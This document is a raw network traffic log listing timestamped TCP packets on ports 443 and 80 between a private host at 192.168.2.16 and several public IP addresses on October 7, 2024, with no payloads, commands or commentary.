Oct 7, 2024 20:58:51.424432039 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.424498081 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.424541950 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.424593925 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.424654007 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.424710035 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.424750090 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.424806118 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.424850941 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.424901009 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.424949884 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.424999952 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.425043106 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.425103903 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.425163984 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.425220966 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.501533985 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.501665115 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.501698971 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.501765013 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.501807928 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.501862049 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.501863003 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.501880884 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.501894951 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.502443075 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.502516985 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.502552986 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.502572060 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.502584934 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.503511906 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.503571033 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.503595114 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.503603935 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.503613949 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.503643036 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.503953934 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.503999949 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.504040003 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.504046917 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.504057884 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.504137039 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.504196882 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.504196882 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.504230022 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.504262924 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.505206108 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.505248070 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.505279064 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.505297899 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.505311012 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.505681038 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.505744934 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.505804062 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.505835056 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.505867004 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.557120085 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.584902048 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.584935904 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.585033894 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.585057974 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.585104942 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.585299015 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.585334063 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.585366964 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.585376978 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.585402966 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.585418940 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.585572004 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.585596085 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.585650921 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.585659027 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.585700035 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.586335897 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.586358070 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.586429119 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.586436987 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.586477995 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.586503029 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.586524963 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.586566925 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.586574078 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.586616039 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.587524891 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.587547064 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.587606907 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.587624073 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.587667942 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.588134050 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.588159084 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.588205099 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.588213921 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.588227987 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.588248014 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.588897943 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.588920116 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.589008093 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.589020967 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.589062929 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.871490955 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.871550083 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.871578932 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.871601105 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.871634960 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.871653080 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.872021914 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.872072935 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.872102976 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.872112989 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.872144938 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.872162104 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.872205973 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.872245073 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.872270107 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.872279882 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.872312069 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.872312069 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.873166084 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.873209000 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.873239040 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.873248100 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.873275042 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.873292923 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.874031067 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.874078035 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.874125004 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.874133110 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.874160051 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.874167919 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.874813080 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.874852896 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.874887943 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.874906063 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.874922991 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.874948978 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.874962091 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.874973059 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.875000954 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.875015974 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.875026941 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.875056028 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.875073910 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.875732899 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.875773907 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.875808954 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.875827074 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.875843048 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.875869036 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.876614094 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.876657963 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.876699924 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.876718044 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.876733065 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.876758099 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.877239943 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.877279997 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.877320051 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.877331018 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.877345085 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.877370119 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.878200054 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.878240108 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.878273964 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.878283024 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.878302097 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.878318071 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.878333092 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.878381968 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.878406048 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.878415108 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.878437996 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.878459930 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.878946066 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.878985882 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.879023075 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.879031897 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.879056931 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.879066944 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.879431009 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.879477978 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.879511118 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.879520893 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.879543066 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.879558086 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.879578114 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.879646063 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.879654884 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.879693031 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.879738092 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.879790068 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.879801035 CEST	443	49730	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:51.879827023 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.879827023 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.879854918 CEST	49730	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.908257961 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:51.955399036 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.112663984 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.112792969 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.112879992 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.112991095 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.112991095 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:52.113044024 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.113064051 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:52.113147974 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.113210917 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:52.113225937 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.113322973 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.113388062 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:52.113398075 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.117327929 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.117407084 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.117405891 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:52.117438078 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.117485046 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:52.199012041 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.199280977 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.199376106 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.199436903 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:52.199479103 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.199529886 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:52.199541092 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.199644089 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.199697971 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:52.199708939 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.199806929 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.199853897 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:52.199862957 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.199963093 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.200007915 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:52.200124979 CEST	49729	443	192.168.2.16	172.66.0.235
Oct 7, 2024 20:58:52.200148106 CEST	443	49729	172.66.0.235	192.168.2.16
Oct 7, 2024 20:58:52.292298079 CEST	443	49728	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:52.292470932 CEST	443	49728	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:52.292534113 CEST	49728	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:52.292895079 CEST	49728	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:52.292917013 CEST	443	49728	203.28.49.249	192.168.2.16
Oct 7, 2024 20:58:52.292931080 CEST	49728	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:52.293098927 CEST	49728	443	192.168.2.16	203.28.49.249
Oct 7, 2024 20:58:52.592886925 CEST	443	49720	142.250.186.164	192.168.2.16
Oct 7, 2024 20:58:52.593036890 CEST	443	49720	142.250.186.164	192.168.2.16
Oct 7, 2024 20:58:52.593216896 CEST	49720	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:58:52.614229918 CEST	49720	443	192.168.2.16	142.250.186.164
Oct 7, 2024 20:58:52.614293098 CEST	443	49720	142.250.186.164	192.168.2.16
Oct 7, 2024 20:58:53.046926022 CEST	49731	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:53.047039032 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:53.047148943 CEST	49731	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:53.048233986 CEST	49731	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:53.048269987 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:53.271404982 CEST	49698	80	192.168.2.16	199.232.210.172
Oct 7, 2024 20:58:53.271419048 CEST	49699	80	192.168.2.16	199.232.210.172
Oct 7, 2024 20:58:53.276784897 CEST	80	49698	199.232.210.172	192.168.2.16
Oct 7, 2024 20:58:53.276906967 CEST	49698	80	192.168.2.16	199.232.210.172
Oct 7, 2024 20:58:53.277266979 CEST	80	49699	199.232.210.172	192.168.2.16
Oct 7, 2024 20:58:53.277334929 CEST	49699	80	192.168.2.16	199.232.210.172
Oct 7, 2024 20:58:53.625116110 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:53.625257969 CEST	49731	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:53.627141953 CEST	49731	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:53.627161980 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:53.627605915 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:53.629291058 CEST	49731	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:53.671432972 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:53.816266060 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:53.816334009 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:53.816376925 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:53.817934036 CEST	49731	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:53.818003893 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:53.818061113 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:53.818135977 CEST	49731	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:53.821433067 CEST	49731	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:53.821470976 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:58:53.821499109 CEST	49731	443	192.168.2.16	20.12.23.50
Oct 7, 2024 20:58:53.821513891 CEST	443	49731	20.12.23.50	192.168.2.16
Oct 7, 2024 20:59:02.885741949 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:02.885797977 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:02.885890961 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:02.886204958 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:02.886220932 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:02.886535883 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:02.886578083 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:02.886651039 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:02.886893034 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:02.886908054 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.340871096 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.341276884 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.341336012 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.343019009 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.343118906 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.344420910 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.344520092 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.344635010 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.344651937 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.352665901 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.353035927 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.353096008 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.354742050 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.354871035 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.355808973 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.355901957 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.355983973 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.356002092 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.398116112 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.398267984 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.435795069 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.451361895 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.451405048 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.451423883 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.451462984 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.451481104 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.451486111 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.451519012 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.451558113 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.451603889 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.510015965 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.510068893 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.510104895 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.510138988 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.510234118 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.510234118 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.510266066 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.510521889 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.510571957 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.510572910 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.510586977 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.510648966 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.510656118 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.511416912 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.511476994 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.511482954 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.511492968 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.511528969 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.514770031 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.520421028 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.520467997 CEST	443	49733	151.101.2.137	192.168.2.16
